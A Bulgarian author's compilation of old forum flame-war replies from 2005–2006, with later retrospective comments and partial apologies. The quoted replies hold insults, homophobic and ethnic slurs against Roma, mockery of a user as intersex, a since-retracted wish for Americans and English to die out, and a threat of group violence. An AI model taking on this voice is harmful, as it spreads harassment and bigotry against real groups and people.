4. Lekite narkotitsi ne sa opasni za zdraveto
5. Hamoseksuzlizym."
Тук цитирам грешки на един, който не беше от умните. Мислеше си, че "N/A" е "нула", а то значи, че няма достъп, не е приложимо, Идва от английското "Not applicable".
Беше се изложил да твърди, че имало туркменско малцинство в Китай, което даже е репресирано, а то няма такова малцинство. Има салари, но точно туркмени няма.
Жени се екзекутират навсякъде, където има смъртно наказание. Той си е мислил, че полът ги спасява.
Всички наркотици са опасни за здравето. Той си мисли, че ако са "леки" няма проблем.
Не се пише "хамосексузлизъм", а "хомосексуализъм".
_________________
Нещо друго:
Ето първо копие на последното, което писах ,после ще ти се извинявам:
共产
Sun Mar 12 22:59:37 2006
О, НЕЕЕЕЕЕЕЕЕЕЕЕЕЕ!!!!!! БЕРСЕК? ТИ ПОЛЗВАШ ... (просто нямам думи) вижте сами: редактиране | oтговор на това съобщение
--------------------------------------------------------------------------------
In reply to:
--------------------------------------------------------------------------------
Bersek
Fri Jan 21 12:45:17 2005
Отг: Еххх Латинке Латинкеее
--------------------------------------------------------------------------------
Xexexe!Не откриваш Америка! Имала съм тригодишна КоперТ цели 5 години и беше супер,но накрая получих кръвоизлив.Не са редки случаите на забременяване със спирала,въпреки малкия %.Ето защо Не за нераждали.
Презервативът е много полезен за бързаците,също така.:)
Винаги с ЧЕСТ!!!
--------------------------------------------------------------------------------
forum.abv.bg/cgi-bin/showpost.pl?Board=sex&Number=98516&page=&view=&mode=threaded&sb=
Всеки може да види какво си писал, не си и помисляй да отредактирваш поста си, защото съм му направил снимка с Принтскрийна и ще го предоставя при нужда!
-Значи ползвал си спирала на "КОПЕРТ" цели 5 години и ти е било супер?
-След това си получил кръвоизлив.
-Страх те е от забременяване.
-И вече си само на презервативи?! (Заеш, че са полезни за бързаците?!).
Не искам да прозвучи като обида, но не очаквах да си момиче или хермафродит!
Сега вече те разбрах за някои неща...
Боже, колко мъка има по този свят, Божеееее...
_________
И ТАКА - ЗНАЧИ, СЛЕД КАТО РАЗБРАХ, ЧЕ СИ ХЕРМАФРОДИТ (знам, че това са хора, които едновременно имат женски и мъжки полови белези, и, на които им дават да си изберат дали да се пишат в личните карти с мъжко или женско име) ВЕДНАГА ТИ ВЛЕЗНАХ В ПОЛОЖЕНИЕТО И МИ Е ЯСНО ЗАЩО ТЕ Е СТРАХ, ЗАЩО СЕ ДЪРЖИШ НА ВРЕМЕНА ПО-МОМИЧЕШКИ И ОТ МОМИЧЕТАТА И ПР. АМИ ТО СИ Е БИЛО ЧАСТ ОТ ТЕБ. НЯМАЛО Е КАК ДА МИ КАЖЕШ, ЗА ДА НЕ СЕ ЗЛЕПОСТАВЯШ... РАЗБИРАМ ТЕ ПРИЯТЕЛЮ, УЧИЛИ СМЕ ЗА ХОРАТА КАТО ТЕБЕ В УНИВЕРСИТЕТА И ЗНАМ, ЧЕ ТОВА СИ Е СЪЩИНСКИ КОШМАР...
СМЯТАХ ДА НАМЕРЯ ВСИЧКИТЕ ТИ ПОСТОВЕ И ДА ТЕ ПОСТАВЯ НА МЯСТО, ПОНЕЖЕ СИ МНОГО ЛЕСНО ОБОРИМ, НО КАТО ВИДЯХ ЕДИНСТВЕНОТО ТИ МНЕНИЕ В "СЕКС И ЕРОТИКА", В КОЕТО СПОДЕЛЯШ ЗА ПРЕДПАЗНИТЕ СРЕДСТВА, КОИТО СИ ПОЛЗВАШ ПРИ ПОЛОВ КОНТАКТ С МЪЖЕ И МИ СТАНА ГАДНО...
ЕТО ЗАщО, НЕ СИ МИСЛИ, ЧЕ СЪМ ГО ПОСТНАЛ, ЗА ДА ТЕ ЗЛЕПОСТАВЯ. ТО Е САМО, ЗА ДА ИЗРАЗЯ ДЪЛБОКИЯТ ПОТРЕС, В КОЙТО ИЗПАДНАХ ОТ ПРОЧЕТЕНОТО.
ЕДВА СЕГА ТЕ РАЗБРАХ КАКВО ИСКАШЕ ДА МИ КАЖЕШ С ТОВА:
"не си натоварвай кармата!" ТИ СИ ОТ ТЕЗИ ХОРА, КОИТО НАЙ-СИЛНО ИЗПИТВАТ ВЛИЯНИЕТО НА ЗАРАБОТЕНА , ТЕЖКА КАРМА...
ПРОЩАВАМ ТИ ЗА ТОВА, ЧЕ ПИСА АНОНИМНИ ЗАПЛАХИ В "ИСТОРИЯ", ПРОЩАВАМ ТИ И ЗА СГОВОРИСТКИТЕ МАНЕВРИ С ГРИШАТА И ОСТАНАЛИТЕ ПРО-ЗООФИЛИ В ДАОБГ-ТО, ПРОЩАВАМ ТИ И ЗА ТОВА, ЧЕ ВСЕ ГОВОРИШ ПРОТИВ МЕН.
И НЯМА КАК ДА НЕ СПОМЕНЕМ ЗА ГЕРИТО, МИЛОТО. СЪЖАЛЯВАМ, ЧЕ ТЕ ИЗОСТАВИ, ПОНЕЖЕ НЕ ХАРЕСВАШЕ ПСИХИКАТА И ПОВЕДЕНИЕТО ТИ КАТО ЦЯЛО, НО СЕГА РАЗБИРАМ, ЧЕ СЕ Е ПОЧУВСТВАЛА ПОГНУСЕНА И ОТ ХЕРМАФРОДИЗМА ТИ... СЛЕД ТОВА СИ ЗАПОЧНАЛ ДА ГО ПРАВИШ С МЪЖЕ, ПРЕДПОЛАГАМ. КОЕТО ТИ ПРАВИ ЧЕСТ! ВСЕ ПАК СИ ОПИТАЛ ПЪРВО С ЖЕНИ! БРАВО! ОПИТАЛ СИ ДА БЪДЕШ ПЪРВО МЪЖ!
Винаги с чест!
Приятелю, ако мога да съм ти полезен с нещо - винаги! И вярвай в прогреса на науката! Вярвам, че някой ден ще има лечение и за твоя недъг, за да можеш да се превърнеш в истински мъж или жена, което си избереш.
Вярвам, че вече ще водим само уравновесени диспути с теб!
Хайде, жив ,здрав и корав (това последното го забрави!)
С уважение : ...
По онова време още нямаше толкова развити операции за смяна на пола, джендър теории, лейдибойофили онлайн и пр., но както се вижда, подходил съм либерално и съм му казал, че е свободен да си избере пол.
После се оказа, че това не го е писал той, но, все пак, майтапчийският хумор се получи добре, при положение, че момчето много зле го играеше спрямо мен, както съм спомнал по-горе, но нека да почива в мир.
-
И пак - най-различни от 2006-та година.
С един, който беше по онова време в Холандия.
Напънал си се да си умен, ама не ти се е получило, сега ще видиш защо:
"За първи и последен път си правя труда да ти отговарям на лични.Нямам желание да си в кръга на хората с които си кореспондирам."
Това е вярно - никой не обича да му се показва какви пропуски има. Подтискам те.
"Преценките ми обикновено са окончателни.Затова при мен не се случва да "другарувам по погрешка"."
Което значи, че Константин окончателно е преценен от тебе като добър приятел?:))) Супер! Така ти се пада:))))
"Аз, както и всички нормални хора тук, възприемам форума като място за дискредитация на идеи, не на личности, тъй че твоето поведение не се вписва в понятията ми за адекватно."
И каква е реперната точка за твоята нормалност?!?!?!?! Че ти защитаваш наркотици, секти и проституция! Да те знам в "нормалния"! Наистина някои идеи са прекалени. Примерно някой може да почне да защитава човеконенавистнически идеи. Да се самоувреждаме не е добре. Затова и трябва да има някаква граница на изразяването, особено когато е такова - проституцията, както и да е, но секти и особено наркотици?! Да си имаме уважението и самоуважението!
"Като гледам как описваш част от поддръжниците ми във форума ми става още по-забавно."
Ами то да се бърка тирания с общ. строй или Океания с Африка си е забавно, даже за човек, дето си мисли, че ЕН/ЕЙ е равно на НУЛА!
"Ти не си постигнал и една стотна от тяхната житейска и професионална реализация."
Половината от тях нямат семейство. А професии съм работил повече от всички вас:
- журналист
- актьор
- тв-водещ
- сценарист и режисьор
- санитар
- психолог
- учител
(След това имах и опит като преводач офлайн и онлайн, сервитьор-преводач, уебмастър, а и вече писател...)
Да не говорим, че съм посетил няколко държави и съм общувал с всякакви възрасти и етноси. Още по-малко можеш да си представиш колко съм навътре с десетки науки и факти. Моят свят поставен до твоя е като Вселена до грахово зърно!
"Просто ги познавам.Както и те мен."
Ами те краставите магарета се надушват. И щом като с Коцето другаруваш - ясен си ми по подразбиране. :)
"Затова ние наистина се забавляваме при комуникацията си с теб."
Понеже губите всеки спор и го обличате под формата на забавление - на принципа на лисицата и гроздето! Вие сте психологически примитиви.
"Смятаме че самото ти поведение дискредитира идеите които защитаваш, а това е добре."
Абе по-добре с моето поведение, отколкото с твоето, дето рекламираш секти, джойнт и проституция, да те еб@ в Безвизовото лайно. :) Тук малко съм попрекалил като форма, но по съдържание съм на страната на законното ии доброто за човека (проституцията, както и да е, но наркотици, пък било то и леки, както и опасни секти... както и визите - мечтая за безвизово и безгражданствено Земно кълбо, но като по закон се искат, какво да правим?)
"Като демократ, смятам че ти дължа обяснение въз основа на какво съм направил преценката си за теб."
КАКЪВ ДЕМОКРАТ СИ ТЕ, БЕ? Не уважаваш законите на Холандия, УЧИШ МЕ КАК СЪМ МОЖЕЛ ДА ТЕ ИЗЛЪЖА ЗА САЙТОВЕТЕ (т.е. за теб честността е порок)... Да си анти-комунист не е достатъчно да си демократ! Добре съм го казал. Демократите би следвало да не са престъпници, които си погазват демократичните закони, нали? Щом е народовластие, каквото означава "демокрация", а законите са произтичащи от народа (или болшинството му, най-често), то истинският демократ трябва да е законопослушен. За честността - също би трябвало да е демократична ценност. Само с антикомунизъм не става демокрацията и демократичната същност.
"- поне 5-6 пъти срещу различни участници употреби изразите "казаха ми на Лични","знаеш ли какво ми пишат за теб на Лични","ще си постна личните" и т.н."
АМИ ЩОТО СТЕ ЛАЙНАРИ И НА ЛИЧНИ ПИШЕТЕ ЕДНО, А ПОСЛЕ ДРУГО---типичен пример е Коцето-----наклевети те едно хубаво, а сега мангалът му с мангал дебелоок отрича! Ама аз пазя писмата му! Ако искаш - имаш ги, макар че не заслужаваш! Отново потвърждавам, че нямам шовинистични и антиромски/антицигански настроения. Този си беше просто деградирал, та съм го нарекъл "дебелоок мангал". Извинявам се, ако се приема за обидно "мангал" от хора, които просто са роми, цигани. Важното беше да се подчертае дебелоочието и двуличността, а не етническия произход.
"В кръга на хората с които общувам "личните" са лични, а не обществени, а цитирането им се приема за простотия."
Абе нека да блесне истината, а вие си го приемайте както си искате! Ако става дума за нормални лични съобщения, добре. Обаче, когато става дума за голямо двуличие и лъжи, а и още повече за твоя сметка - е, няма как истината да не е на първо място.
"А "заплахата" с цитиране на лични за мен е аргументационна безпомощност, съчетана с пълно непознаване на нормите за общуване."
Долу нормите, който прикриват ПРЕСТЪПНОСТТА! А аргументационно безпомщен си само ти! Я виж, примерно как се осра и за Казахстан днес! Дори и да става дума само за простъпки, пак е така. Нормите, все пак, трябва да служат за благото на човека, а не да са против добруването му.
"- Плюеш адаша.Нарушаваш основно житейско правило - "Никога не плюй публично човек, с когото си бил близък".Това рефлектира върху теб."
РЕФЛЕКТИРА ВЪРХУ МЕН? А върху него??????? Какъв близък ми е той, след като ме дъни още по време на приятелството ни пред Дора и даже пред човек, на когото държа? Заплашва ме да ме бие (все едно, че може, инвалидът му прост!), не уважава жена ми. 3 пъти ме злепостави заради твойте лайна в Холандия пред китайците, ЩОТО ТУКА НИЕ ОСИГУРЯВАМЕ ВИЗИ!... Близък като дявола е той! Ставаше дума, че с този човек (а и още няколко) се бяхме разбрали да го уреждам в Китай да работи, уговарям с работодатели нещата и по едно време "Хоп! Изненада! Аз няма да идвам." Ами идиотско си беше от тяхна страна. Е, вече няма и смисъл в Китай, но не е до Китай и китайците въпроса, а по принцип ако обещаеш да не се извърташ, особено ако виждаш, че хората губят време и енергия да те устройват.
"- Ако някога се върнеш в БГ, поговори с татарчетата от Вятово,Гложево и региона.Много от тях работиха тук, познаваме се и имаме чудесни впечатления един от друг.Та те ще ти кажат коя дума употребяваме за мъжете, които не успяват да се узаконят по никой друг начин и им се налага да се оженят по тази причина."
Ама ти още ли вярваш на педераста Коце?! Виж сега, Лайньо. Повтарям ти пак - жена ми не е дебела, грозна, мустаката и пр. ТОй ти е показал снимки, нали?
НАПОСЛЕДЪК ДОРИ ТОЙ НЕ ПОДДЪРЖА ТАЗИ ВЕРСИЯ, а я измести, че съм се оженил, за да ми слугуват. Така, че вие пенделчетата, дето не можете да хванете една жена, не си мислете, че човек се жени за виза. Аз мога да си подписвам договори до дупка (даже в момента съм с трудова, а не с Л-виза, роднинска), та женитбата няма отношение. Даже мога да взема и китайско гражданство без никакви проблеми! АМА ТИ НЕ МОЖЕШ и някой ден ще се върнеш в БГ-лайната, :)))
Китайското гражданство де юре е лесно, де факто - не толкова; а и нямам никакво желание за него вече, след случилата се императоризация в Китай. За БГ - отчитам някои подобрения (все пак съм обективен) и на фона на държави като Русия, Турция, Иран и, напоследък, Китай мисля, че започна да буди повече уважение в политико-икономически план, но, като цяло, всичката тази грубост, насилие, пиянство и злоупотреби с наркотици, неонацизъм, кучешки проблеми (от тении, до нахапани хора и скандали със собственици), културно-образователни проблеми и пр., ами не мисля да се връщам там. Имам си и субективен проблем - не обичам да живея на места, където има зима (в този смисъл дори и в харесваната от мен Южна Корея не бих живял.)
Та така.
"
________________
Това е с някакъв друг човек. Беше с интересен ник той.
"Хей, смешко,
Не разбра ли, че на никого не му пука нито за татарите, нито за циганите."
Хей, клоунчо, не разбра ли, че Посейдон постави тема, по която се разкара позорно, понеже не можа да устои на нито един факт?
"Вуте-шопът беше казал за тях презрително "качвам си ги на к***"."
Може да е визирал някой от родата ти, а не татарите или циганите. ЗАЩО ПЪК ТРЯБВА ВУТЕ ДА Е ШОВИНИСТ А ПРИОРИ?!?!?!?!?!?!?!
"Нито пък някой сериозен човек би проявил желание да участва с теб в детски състезания от вида "По-по-най"."
Би! Но, АКО може. КАКТО ВИЖДАШ В МОМЕНТА са се оттеглили, понеже не могат да спорят с мен. Разгледай темите напоследък и ще видиш как само им откривам пропуски и ги е срам.
"На всички стана ясно, че не си българин, а някакъв полуграмотен клошар с татарска шапка и фикс-идеи"
1. Татарите са потомци на прабългари и кумани, а тези 2 етноса са направили по-голямата част от БЪлгария, така че съм по-българн от тебе. Ти кой знае какъв си полуславянин, полутурчин, полуциганин. Отдавна не разглеждам националността по този начин - виждаме, че човек може и да е с африкански произход, но да е французин, например (роден във Франция, говорещ френски, познаващ френската култура, имащ френско гражданство, самовъзприемащ се като французин.) Етническата, генетична и пр. основа не те правят повече или по-малко някакъв/някаква.
2. Полуграмотна е майка ти, барабар с баща ти, аз съм с магистърска степен по философия и с енциклопедични познания, владеещ 6 езика и пр. Така, че с това обиждай родителите си. :)
3. Татарската шапка се казва тюбетейа и я има като подобен вид при македонските българи.
", който много разбира от премъдри комунистически партии, комунизъм, комунистическа икономика и благоденствие."
Разбира се, да не съм като тебе, Радикулитчо. :) Последното е по асоциация с ника му, който приличаше на "радикулит", но не беше точно това. Мисля че беше "ridicule" [ˈrɪdɪkjuːl], което значи "осмиване", "надсмиване", "насмешка".
"Понеже по време на развития социализъм в България лично си се бил убедил от бебешката си количка, че шишето ти с биберона винаги било пълно с мляко."
Глупендер, по време на социализма съм бил дете и юноша, а бебето си бил ти, което е взело да разбира нещо след 89-та и СДС-то тъпо му е промило мозъка. Доволен си, нали? Допълвам, че някои от идеите на СДС не бяха толкова лоши; особено тези свързани с наистина истинската демокрация и истинската пазарна икономика, които много трудно се постигат.
"Разбрахме също така, че учиш китайски деца на английски и че знаеш този език толкова добре, колкото дори самите американци не го знаят."
Понякога, макар, че не го поддържам много, понеже наблягам на китайския. Искрено се надявам някой ден да измрат всякакви американци, англичани и пр. и да не се учи този противен език. Моля, англофоните да не се засягат - те пък не обичат китайския. Искрени съжаления и разкаяние, че съм писал, че имам такива надежди! Правя си, от позицията на времето, искрена самокритика - не е правилно да се пожелава смърт на цели нации и народности! Просто по онова време наистина бях под влиянието на всички негативизми причинени в исторически план от Великобритания, САЩ, НАТО на хората родени в България, но, в днешно време, осъзнавам че 1) не е правилно да се пожелава смърт на хора, камо ли на цели народности! 2) Тези са и помогнали с това-онова, не са само вредили.
" От теб научихме, че американците идея си нямали какво значи "in vain", докато на теб този израз ти е ясен."
Ами да, употребява се повече в Англия, отколкото в САЩ. Лично американец ми го е казал, та имам основание да вярвам повече на него, а не на изродчета.
"Несъмнено и английското ти произношение е такова, че американците ти завиждат."
Поне ме разбират повече, отколкото, ако им говори шотландец или руснак. В началото ме мислеха за французин или германец. След години практикуване и преподаване, накрая вече казваха че имам лек акцент и то само ако ги попитам.
"И въпреки тази твоя велика енциклопедична дейност, от сърцето на премъдрата ККП се била откъснала месечна заплата, еквивалентна само на някакви си 1200 лева."
Глупавото ми, аз работя за частни фирми, а не за държавни, бе. Каква Партия те е подгонила. Ти да не си във временна параноя като Елвис Пресли, който сънувал , че Сталин идва и го ... чики-на-на!? А в интерес на истината, в днешен Китай все повече се набляга на това хората да дават, те да заплащат за грешките на императоризиралия се президент, да не са хедонисти... та не са от "дашните", доколкото са останали самостоятелни, автономни партийни субекти.
ИНАЧЕ ДА ТИ НАПОМНЯ, ЧЕ ТЕМАТА НЕ Е ТОВА, КОЕТО СИ МИСЛИШ!
__________________
Здравей, Анонимко!
"Това с гаджето не е много философско, всъщност си е детско"
Сериозно ли? Според философската антропология, както и конкретни направления във философията, като например екзистенциализма на това се обръща сериозно внимание. Иначе аз вече съм женен човек, за разлика от повечето от вас там, та гаджето е минала тема.
", ама от теб само това. "
Определено не е само това. Може да се обзаложим.
"Стига си се надувал, защото комплексите ти започнаха да си личат чак от Китай"
Това, че проецираш собствени комплекси върху мен говори само за твоята същност. Иначе за Китай - разбирам те, че завиждаш, но се надявам да е благородна завист. Допълвам, че в днешно време вече не е за завиждане и съм се ориентирал към напускане. Дойдох, за да съм в социалистическа република, а не във феодалноподобна империя.
"и с псевдокултурното си и "възвишено" поведение стана смешен и неприятен."
Културата е феномен, който точно ти едва ли можеш да оцениш, интерпретираш и корелираш спрямо моите прояви.
"Затова те изгониха от ДАО-то, защото и там, както и тук, има само "аз съм образован", "аз съм по-умен", "аз пиша стойностни мнения"."
Не е затова. Не си навътре с нещата. Имаше много причини:
- Примерно показах на ОНЯ, че японците имат място в ПРАЙДА, както и, че японският е Алтайски език. ТОй не можа да понесе да не е прав.
-Редовно опонирах успешно на Гришата, който достигаше на времена до словестно безсилие и проявяваше агресия - "Трябваше да те ошамаря като те видях!" , "Дано да се видим, за да ти бия шамараи и кимбали за унижение" и пр.
-Доста хора не харесват това, че поддържам голяма част от мненията на неповторимият Дориян Александров.
Сега схвана ли основите на заблудата си, Анонимко?
"Всичките ти мнения са или простотии(плод на мечтите ти и нулевият практически опит)"
Определено се силиш да биеш рекорда на Берсек по безсмислие в един постинг!
Как пък разбра, че нямам практически опит?!
И кой си ти, че ще оцениш думите на магистър по философия като "простотии"?
", или лизане на задника на Доктора(на когото поне му стиска да застане зад думите тук, в България)."
ХАЙДЕ, ХАЙДЕ! :)
1. Стоях в БГ достатъчно, който е искал е юял да ме намери - не съм се крил!
2. Докторът е ГЕНИЙ в някои отношения, затова не бива да ми приписваш любимите си действия нощем, между мен и Доктора.
3. Нали онзи недорасляк - ЗОРО твърди, че Докторът бягал от двубой с него? Как сега пък взехте да пишете обратното? Явно лъжете доста и не си координирате лъжите.
"А за образованието може да се консултираш малко повече, повечето от твоите "врагове" са с висше образование"
Да, в последно време някои от вас завършиха някои много интелигентни образования като ИКОНОМИКА В СВИЩОВ ;)
", някои от нас са с по две дори, ако това ти е мярата за интелигентност"
Я посочи някой с 2 по ник-нейм и после ще видим. Нямам нищо против РЕАЛНО-ИНТЕЛИГЕНТНИ УЧАСТНИЦИ като Историк, там, макар да остава тайна как понасят ниският ви койефициент на интелигентност.
"а твоята специалност явно е да философстваш и да празнословиш."
Явно не си учил за диалектиката на същността и явлението. Твоите видимости даже не достигат до явление, а да не говорим за същност поне от 1-ви порядък!
Ако искаш да видиш конкретна полза от разсъждението -постави тема, а не се занимавай да лижеш задника на админа, че да заблуждаваш хората. То си личи с многобраойните забрани и неквалифицираните модератори какво е нивото на ДАОТО!
"В заключение - дръж се малко като мъж, престани да хленчиш като пеленаче и да знаеш, че не липсваш на никой(аз съм единственият, който помоли Жоро да те върне, тъй де, майтап да стане малко)."
ЕЕЕЕЕ, това че на тебе ти се причуват хленчове може да говори само, че имаш някакъв вид слухови халюцинации, другарче! А това дали липсвам или не на някой няма голямо значение, понеже повечето сте нестойностни там, а с по-стойностните си поддържам контакти по различни начини.
За Жоро и, че си се молил - моли се. А майтап - наистина става там.
Както е казал един от умните там - ГАЛЬО:
"Някой пише глупост, аз отговарям, след това забърсват отговора, за да се създаде впечатлението, че съм останал безмълвен!" Ами плоска тактика за майтапи. Но, все пак, така правят безсилните.
Или пък банването с аргумента : "Системно отклонение от темите". През цялото време се наблюдават някакви тъпи чатове по темите, същински спам, ама за тях няма бан!
И последно - голям майтап. ОНЯ ми прасва -10% и казва - "Ето ти малко и от мене!", а запитан за мотивация казва - "АБе я си е.. м@йката!"
Такова е нивото, Анонимчо
!
Определено ниско ниво имаше у много, но, пак подчертавам, доста (макар и по-малката част) бяха интелигентни хора.
____________
中共
Tue Mar 28 13:31:11 2006
О, Добрудански, редактиране | oтговор на това съобщение
--------------------------------------------------------------------------------
добре, че си се представил!
Знам те - ти си един от пропагандиращите зоофилията в темата поезия, която аз ви направих, а вие се изгаврихте! Ще ти го кажа и на тебе в прав текст - НЕ Е ВЪЗПИТАТЕЛНО ЗА МЛАДИТЕ, КОИТО ВИ ЧЕТАТ!
И сравни моята поезия с рапо-производните ви рими! Ами личи си колко сте зле. Нито форма, нито съдържание.
И като си толкова отворен на поезия - защо не дойдеш тука, да се регнеш и да се стреляме с поезия, както и с конструктивни диалози? Имам усещането, че ти ще си поредният, който ще избяга от диалога с мен.
ОНЯ избяга
ЖОРО избяга
БЕРСЕК се отказа
КЪРИ се отказа
Е?
_______
Иво, преди като те познах и зачезна. Сега си се появил, но отново не поставяш конкретна тема, а говориш с Добруджанкото за нарцисизми...
Хайде дай да поспорим за нещо или да се подготвя за псувните ти?
Вземи се регистрирай и ти, че да не търся само кой е с Осакско АЙПИ.
Апропо - нещо са се влошили отношенията с Япония, заради оня ръб - Джуничиро Коидзуми. Не те ли е страх, че ще стане някоя война? А и Севрна Корея викат, че можело да ви бомбнат с ядрена бомбичка? Страшно ли е или ти от препиване не знаеш на кой свят си, пък аз съм взел за геополитики да ти говоря?
И още - какво стана? Дянков кога ще идва в Япония да ти поизвие вратлето? Или се отказахте???
Давай да правим дискусията, като ти е толкова забавно.
Тук си спомням, че този отговори, че още го чакал да дойде за спаринг, ама не идвал (аз бях заложил, че Дянков ще го победи, според каквото имах като информация и задочни впечатления. А за Япония - ами по онова време си е било полумайтап, но в днешно време наистина не е завидно да си на мястото на Япония - с Русия не са в добри отношения (то кой ли пък остана да е след като нападнаха Украйна?), с Китай - също, за Северна Корея - няма какво да говорим, дори в Южна Корея има от време на време, антияпонски протести. Земетресения. Фукушимската радиация и пр. проблеми. Колкото и да ми харесва японската култура (енка песни, японска кухня, японски бойни изкуства, японски език, някои японки и т. н., то не бих се престрашил да живея там.) Добавям и последните огромни зимни студове. Та, още повече.
-
Също от файл, запазен през 2006-та година.
Явно е от караниците с разните му от форума за бойни изкуства, който вече не съществува. (А може и да е от друг, където съм комуникирал с тях без много риск от банване и запушване на устата.)
"ми прост съм,не кът Гесеро!"
Което ти прави чест, че се самоосъзнаваш като адекватен на себе си в най-красноречивото ти свойство.
"Гесере,шм..ко,пак са праиш на съблазнен и изоставен!Не само Гришата,аз да та видя и аз само с комбали и плюнки ш та бия!Що?Щото с тебе други форми на контактуване са безсмислени...
"
Като гледам шм..ка си ти, че си дошъл тук да развяваш неприличното си поведение, но нейсе. А, което е по-важното, като как достигна до премъдрия извод, че се правя на това и онова?
Освен това на базата на какво преценяваш оптималните форми на общуване с мен?
И последно - как си сигурен, че :
а/ Ще ме видиш
б/ Ще ме биеш?
в/ Че дори и да се случи а/+б/ ще ти се размине отмъщението?
Принципът е следният - ти, примерно, ме биеш, след това идват 5 човека с някакви подръчни материали и те правят да ходиш на колела (вика му се инвалидна количка).
Какъв е смисълът от бабаитлък? (А и си мисля, че цирозата не ти е много далече и някой ден японката ще остава вдовица, ама язък за децата!)
По онова време наистина бях доста готов и на такива крайни форми на отговаряне на агресията, но по-късно, понаучих правото, законите по-добре, та вече, при такива обстоятелства, действам само по законните начини - полиция, прокуратура...
"Интелектуалните бълнувания моеш си ги ... забраиш,щото си влязъл в сайт за БИ и в такъв сайт се говори за БИ,а не за история,поезия и др..."
Бълнувания има при тебе, макар и без прилагателното "интелектуални", понеже то при тебе, под каквато и да е форма, бяга като дяволче от тамян, разбираш ли.
А колкото до това, че било сайт за БИ, а се пишело поезия - кажи го на Берсек. Щото той го пълни с отвртатителни стихове. И отделно - защо и Гришко, барабар със Зорко използва тези небойни теми, за да рекламира как се възбужда от извращения?! Ами гледайте си бойните изкуства и толкоз. Но, явно, ти критикуваш без принцип.
Става дума за безпринципност, за двоен стандарт.
"за тва са създадени други сайтове,ма не са знай дали ше те търпят там..."
Ама то голям проблем било за тебе търпението :) Мойто момченце, аз владея 6 езика и, дори да се свършат БГ-сайтовете мога да пиша в доста други. Понастоящем пиша на български, руски, китайски, английски и татарски. При нужда мога и на корейски да пропиша. А и ти не си ли разбрал, че в живота не всичко се изчерпва със сайтове? Това, че има някои зависими, които даже и дневничета си пишат и прекрават 80% от свободното си време в ДАОТО, пред дневника (примерно да напишат как са се напили и как после се налагало жена им и децата да ги изтирват на тренировки!)... ами техен си проблем, ама да ми предпоставяш нет-зависимост както при тях - просто си в много груба грешка попаднал, мойто дете!
А и да се допълня, за кой ли път, че ако по онова време бях заложил сам да се науча как да си направя сайт, досега можеше да съм доста, доста богат човек (имам предвид - само от онлайн доходи, наример, рекламни.)
"Ти нямаш никъв опит в БИ"
Как реши това? Със същия успех мога да кажа, че ти нямаш ляво ухо и си кривоглед. Трябва ли да се вярва на всяко казване. Да си чувал за ОБОСНОВКА?
"и упорито си решил да просвещаваш състезатели и шампиони по всякви БИ"
ХАХАХА! Къде са тези шампиони, бре? Я посочи някои шампиони. То даже републиканските ви са кът, като гледам! И номерът - "Аз съм в Осака, ама ходих със Сато да се бия срещу Токийския!" не минава! Аз мога да ти кажа, че съм ходил на САНДА в Гуъй Лин с Чжан Ий-Моу, ама трябва ли да се вярва на всичко?
"с изцепки от филмите на Джет Ли"
Гледа ли му последния филм, който е по реална биография? И, да речем, че мога да познавам творчеството и уменията му повече от тебе, нали?
",те за тва те игнорират,не че е на лична основа..."
На лична е, на лична е. Понеже за много неща се оказах прав и няма как да рекат - "Извинявай!" А аз съм се извинявал - нещо, което не се цени и, което беше наречено от нашият скъп Иво - Оня - "посипване на главата с пепел". Помня аз.
"Повечето от интелектуалците дет си ги посочил и те нямат никъв опит в БИ и основно постовете им са свързани с източните езици,култури,кулинарии и сичко друго."
Сериозно ли? Аз пък си мислех, че имат профил, в който можеш да видиш какво тренират. Ти и за Дориян Александров - Доктора ще кажеш, че няма опит, май, а? Ама как пък само ти имаш опит, бе? Не чувстваш ли, че се самонабутваш в абсурдности?
"За тея работи също си има други форуми и те най-вероятно пишат там,а кът съ заинтересуват за нещо свързано с БИ,влизат в даобг и питат..."
И ти ги светваш, нали? Понеже си опитен...Тц-тц-тц, гледай ти с какъв капацитет разговаряме тук. То, наистина, като се замисля много опит има в следната случка казана от тебе:
"Бил съм се с 4-ма японски гамена. По 60 кила. И ги победих, ама и аз целунах дерека!"
Или пък как македонците се изумили, че си съборил чернилката! (Тази дума звучи расистки, а аз съм много антирасистки настроен през последните години. В случая, обаче, макар и преди доста време, не съм я използвал в расистки смисъл, а в негативен, етичен (защото ставаше дума за някакъв черен хулиган. Нямам нищо против добрите черни хора.))
"Мноо ясно,че хората събрани на ено място ше искат и за други работи да си лафят,затва са Общите приказки,ма е недопустимо 90% от мненията на юзър в форум за БИ да нямат никва връзка с БИ!"
Ами недопустимо е, при положение, че ТОЛКОВА МНОГО МНЕНИЯ НА ЮЗЪРА СА ИЗТРИТИ!
Утре можете да си поиграете и останалите около 500 да изтриете и ще стане недопустимо да има юзър с 0 мнения, примерно. Играйте си! Вие си плащате, вие си манипулирате. Превърнали сте го в детска градина, където възпитателите са деца, които си играят на големи директори. Но, както забеляза, доста народ ви напусна и сега попълвате с хора по на 11-13 години. Като гледам и други са на път да ви напуснат. Днес четох едно много резонно мнение!
"Дневниците бяха създадени с цел да се намали спама и даде ефект..."
Не си преценил правилно ефекта. Искаш ли да ти посоча примери за спам?
"Чата в даобг е създаден с цел да се намали спама и даде ефект..."
Остава в сила предишния въпрос!
"Контрола беше въведен,шот такива кът тебе зеха да си мислят че моат да влизат кът у дома си и да са цепят по секви въпроси и да са обясняват за права и свободи,кът забраят ква е идеята на сайта и за кво трее са говори основно там!"
Идеята е да си се въртите само своите и да се габаркате с останалите. Ако някой не ви уйдисва - бан! (С много ирационални обяснения и то не само при мен, а и при доста от другите!) Идеята е да се правите на недосегаеми и умници, ама, както се вижда - ИМА И ДРУГИ ФОРУМИ И ТУК НЯМАТЕ ДУМАТА! Изненадан ли си?
"Тва също даде ефект!"
Така си мислиш ти. Ефектът е само по отношение на това, че няма някой като Айрън Фиста, Гальо или мен да ви поставя на мястото за части от секундата. Като част от ефекта можеш да видиш и това, че наистина феноменални хора като ПЛАЦЕБО ви напуснаха даже без да са баннати!
"Ся,знам че уничтожението на даобг ти е фикс идея"
Ама глупости! Аз, ако съм искал това - да е станало. Най-малкото можеше да осведомя тук-таме за фашистките идеийки, които битуват там, лошия език и подстрекателството към насилие (както и даване на идеи за заобикаляне на закон и пр). Ама не искам. И знаеш ли защо? За да има на какво да се веселим. Как иначе ще прочетем нещо толкова свързано с БИ като това как се напиваш с бразилците или не можеш да си стоиш повече от 5 минути на врата, щото ти омръзва, даже и да гледаш телевизия или да слушаш музика. То това е толкова образователно, че направо може да съперничи на философията на Хирохито Кобе!!! Няма майтап! ;)
